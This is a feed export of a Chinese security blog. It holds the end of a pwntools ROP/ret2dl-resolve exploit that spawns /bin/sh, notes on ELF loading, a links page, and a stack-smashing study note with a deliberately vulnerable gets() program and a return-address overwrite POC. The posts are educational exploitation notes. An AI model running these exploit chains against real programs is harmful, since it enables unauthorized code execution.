&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fill&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; buf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(buf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;addr_link_map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;read_p64&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;link_map is at &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; hex&lt;&#x2F;span&gt;&lt;span&gt;(addr_link_map))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;addr_dt_debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; addr_link_map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1c8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;call_chain_ptr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr_dt_debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [ptr_ret&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; addr_stage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;400&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;dl_resolve_call&lt;&#x2F;span&gt;&lt;span&gt;(addr_stage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;300&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fill&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;300&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; buf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;dl_resolve_data&lt;&#x2F;span&gt;&lt;span&gt;(addr_stage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;300&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fill&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;400&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; buf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&#x2F;bin&#x2F;sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; rop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fill&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;420&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; buf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(buf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;write_p64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;interact&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Linux可执行文件装载的学习笔记</title>
        <published>2015-10-24T00:00:00+00:00</published>
        <updated>2015-10-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/learn-notes-of-elf-load/"/>
        <id>https://blog.iret.xyz/posts/learn-notes-of-elf-load/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/learn-notes-of-elf-load/">&lt;p&gt;实际就是《程序员的自我修养——链接、装载与库》的笔记。&lt;&#x2F;p&gt;
&lt;p&gt;还在学，尚未完成。&lt;&#x2F;p&gt;
&lt;p&gt;下载地址： &lt;a href=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;learn-notes-of-elf-load&#x2F;.&#x2F;ELFfile_v11.mm&quot;&gt;ELFfile_v11.mm&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;可用Freemind打开并编辑。&lt;&#x2F;p&gt;
&lt;p&gt;请勿转载&lt;&#x2F;p&gt;
&lt;p&gt;有任何错误欢迎发邮件指正，不胜感激。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;table style=&quot;margin:inherit&quot;&gt;
    &lt;tr&gt;
        &lt;td&gt;Version&lt;&#x2F;td&gt;
        &lt;td&gt;Date&lt;&#x2F;td&gt;
        &lt;td&gt;Notes&lt;&#x2F;td&gt;
    &lt;&#x2F;tr&gt;
    &lt;tr&gt;
        &lt;td&gt;1.1&lt;&#x2F;td&gt;
        &lt;td&gt;10&#x2F;25&#x2F;2015&lt;&#x2F;td&gt;
        &lt;td&gt;Finished chapter 1~7&lt;&#x2F;td&gt;
    &lt;&#x2F;tr&gt;
     &lt;tr&gt;
        &lt;td&gt;1.0&lt;&#x2F;td&gt;
        &lt;td&gt;10&#x2F;24&#x2F;2015&lt;&#x2F;td&gt;
        &lt;td&gt;First commit.&lt;&#x2F;td&gt;
    &lt;&#x2F;tr&gt;
&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Friendlinks</title>
        <published>2015-10-19T00:00:00+00:00</published>
        <updated>2023-05-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/friendlinks/"/>
        <id>https://blog.iret.xyz/friendlinks/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/friendlinks/">&lt;p&gt;有人想和可怜的我互换博客链接吗……&lt;&#x2F;p&gt;
&lt;!-- [威尔渗透逆向全领域制霸大牛师傅](http:&#x2F;&#x2F;blog.wils0n.cn &quot;一个致力于喂马，砍柴，周游世界的男人&quot;) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; title=&quot;伟大的P牛，审计boss&quot; href=&quot;http:&#x2F;&#x2F;www.leavesongs.com&#x2F;&quot;&gt;时雨牛&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; title=&quot;抛下博客带着妹子跑路啦！&quot; href=&quot;http:&#x2F;&#x2F;bigtang.org&#x2F;&quot;&gt;糖果牛&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;!-- [小晓城](http:&#x2F;&#x2F;www.tinydawn.com&#x2F;) --&gt;
&lt;!-- [冷神](http:&#x2F;&#x2F;le4f.net&#x2F;) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; title=&quot;听说他还有个旧博客，能找到旧博客的人给你买一包兰州&quot; href=&quot;http:&#x2F;&#x2F;sh3ll.me&#x2F;&quot;&gt;Chu大爷&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;!-- [Wrfly&#x27;s blog](http:&#x2F;&#x2F;wrfly.kfd.me&#x2F; &quot;可向其咨询如何使用bash脚本出CTF题……&quot;) --&gt;
&lt;!-- [Blog of Mathias](http:&#x2F;&#x2F;www.math1as.com&#x2F; &quot;这个人想去B站看妹子&quot;) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; title=&quot;高产黑客，二进制牛逼&quot; href=&quot;http:&#x2F;&#x2F;bestwing.me&quot;&gt;Swing&#x27;Blog&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;!-- [RabbitHouse](http:&#x2F;&#x2F;rabbithouse.me) --&gt;
&lt;!-- [音符牛](http:&#x2F;&#x2F;th1nk.info) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; title=&quot;Android大佬&quot; href=&quot;http:&#x2F;&#x2F;www.leadroyal.cn&#x2F;&quot;&gt;LeadroyaL&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;zebork.org&#x2F;&quot;&gt;Zebork&#x27;s Blog&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;arch0n.sumblog.cn&#x2F;&quot;&gt;Arch0n&#x27;s Nexus&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;!-- [Omego&#x27;s Blog](http:&#x2F;&#x2F;www.xd-a8.com&#x2F;) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; title=&quot;逆向很牛逼&quot; href=&quot;http:&#x2F;&#x2F;misty.moe&#x2F;&quot;&gt;Misty的小窝&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;rickyhao.com&quot;&gt;心 空&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;!-- [Skye](http:&#x2F;&#x2F;sky3.pw&#x2F;) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;f1sh.site&quot;&gt;F1sh&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;!-- [NotWo1f](http:&#x2F;&#x2F;notwo1f.tk) --&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;klaus.link&quot;&gt;Klaus&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nen9ma0.github.io&quot;&gt;nen9mA0&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;caligo.cc&quot;&gt;雾匣子&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Silver的二进制学习记(1)：复习字符串漏洞</title>
        <published>2015-05-19T00:00:00+00:00</published>
        <updated>2015-12-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/string-leak/"/>
        <id>https://blog.iret.xyz/posts/string-leak/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/string-leak/">&lt;h2 id=&quot;0x00-fu-xi-dui-xiang&quot;&gt;0x00 复习对象&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;栈粉碎&lt;&#x2F;li&gt;
&lt;li&gt;代码注入
以及有关内容&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;0x01-cheng-yin&quot;&gt;0x01 成因&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;缓冲区长度&amp;lt;填入数据长度&lt;&#x2F;li&gt;
&lt;li&gt;无效的边界检查&lt;&#x2F;li&gt;
&lt;li&gt;对库函数的错误调用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;0x02-ji-chu-fu-xi&quot;&gt;0x02 基础复习&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;han-shu-diao-yong-he-fan-hui-liu-cheng&quot;&gt;函数调用和返回流程&lt;&#x2F;h3&gt;
&lt;p&gt;调用&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;PUSH EIP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;控制权转移(置入新的EIP)&lt;&#x2F;li&gt;
&lt;li&gt;保存现场：&lt;code&gt;PUSH EBP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;MOV EBP,ESP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;分配内存：&lt;code&gt;SUB ESP,0X14&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;返回&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;收回内存：&lt;code&gt;MOV ESP, EBP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;恢复现场：&lt;code&gt;POP EBP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;控制权交还&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;nei-cun-guan-li&quot;&gt;内存管理&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;帧和栈&lt;&#x2F;li&gt;
&lt;li&gt;临时变量会存储在EBP-offset_address&lt;&#x2F;li&gt;
&lt;li&gt;ret时候要用的EIP会在 &lt;code&gt;EBP+sizeof(EBP)&lt;&#x2F;code&gt; 处&lt;&#x2F;li&gt;
&lt;li&gt;覆盖这个地址可以实现返回时控制权的转移&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;0x03-zhan-fen-sui&quot;&gt;0x03 栈粉碎&lt;&#x2F;h2&gt;
&lt;p&gt;有漏洞的程序&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span&gt; verify{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; buff[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    buff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;gets&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;strcmp&lt;&#x2F;span&gt;&lt;span&gt;(buff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;password&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    int&lt;&#x2F;span&gt;&lt;span&gt; state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;verify&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !&lt;&#x2F;span&gt;&lt;span&gt;state )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;        puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Oops!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;        puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Good!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;0x080484f3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;POC:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;123412341234123412341234\xf3\x84\x04\x08&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;vul&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#extra bytes might caused by align&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：&lt;&#x2F;p&gt;
